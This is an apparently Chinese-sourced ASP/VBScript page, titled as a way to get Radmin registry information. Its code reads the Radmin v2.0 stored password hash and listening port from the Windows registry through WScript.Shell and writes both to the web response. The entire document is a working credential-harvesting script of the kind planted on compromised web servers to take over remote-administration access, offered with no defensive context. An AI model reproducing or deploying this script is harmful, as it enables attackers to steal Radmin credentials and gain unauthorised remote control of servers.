vbs 获取radmin注册表中的信息

1. <%  
2. '========================================Main======================================  
3. Set WSH= Server.CreateObject("Wscript.shell")  
4. RadminPath="HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\"  
5. Parameter="Parameter"  
6. Port = "Port"  
7. ParameterArray=WSH.Regread(RadminPath & Parameter )  
8. Response.write "The Result of Radmin Hash"  
9. Response.write "<br><br>"  
10. Response.write Parameter&":"  
11. '=========== ReadPassWord =========  
12. If IsArray(ParameterArray) Then  
13. For i = 0 To UBound(ParameterArray)  
14. If   Len (hex(ParameterArray(i)))=1 Then   
15. strObj = strObj & "0" & CStr(Hex(ParameterArray(i)))  
16. Else  
17. strObj = strObj & Hex(ParameterArray(i))  
18. End If   
19. Next  
20. response.write Lcase(strobj)  
21. Else  
22. response.write "Error! Can't Read!"  
23. End If  
24. Response.write "<br><br>"  
25. '=========== ReadPort =========  
26. PortArray=WSH.REGREAD(RadminPath & Port )  
27. If IsArray(PortArray) Then   
28. Response.write Port &":"   
29. Response.write hextointer(CStr(Hex(PortArray(1)))&CStr(Hex(PortArray(0))))  
30. Else   
31. Response.write "Error! Can't Read!"  
32. End If  
33. '=============hex TO int==========  
34. Function hextointer(strin)   
35. Dim i, j, k, result   
36. result = 0   
37. For i = 1 To Len(strin)   
38. If Mid(strin, i, 1) = "f" Or Mid(strin, i, 1) ="F" Then   
39. j = 15   
40. End If   
41. If Mid(strin, i, 1) = "e" Or Mid(strin, i, 1) = "E" Then   
42. j = 14   
43. End If   
44. If Mid(strin, i, 1) = "d" Or Mid(strin, i, 1) = "D" Then   
45. j = 13   
46. End If   
47. If Mid(strin, i, 1) = "c" Or Mid(strin, i, 1) = "C" Then   
48. j = 12   
49. End If   
50. If Mid(strin, i, 1) = "b" Or Mid(strin, i, 1) = "B" Then   
51. j = 11   
52. End If   
53. If Mid(strin, i, 1) = "a" Or Mid(strin, i, 1) = "A" Then   
54. j = 10   
55. End If   
56. If Mid(strin, i, 1) <= "9" And Mid(strin, i, 1) >= "0" Then   
57. j = CInt(Mid(strin, i, 1))   
58. End If   
59. For k = 1 To Len(strin) - i   
60. j = j * 16   
61. Next   
62. result = result + j   
63. Next   
64. hextointer = result   
65. End Function  
66. '================ End ==========  
67. %>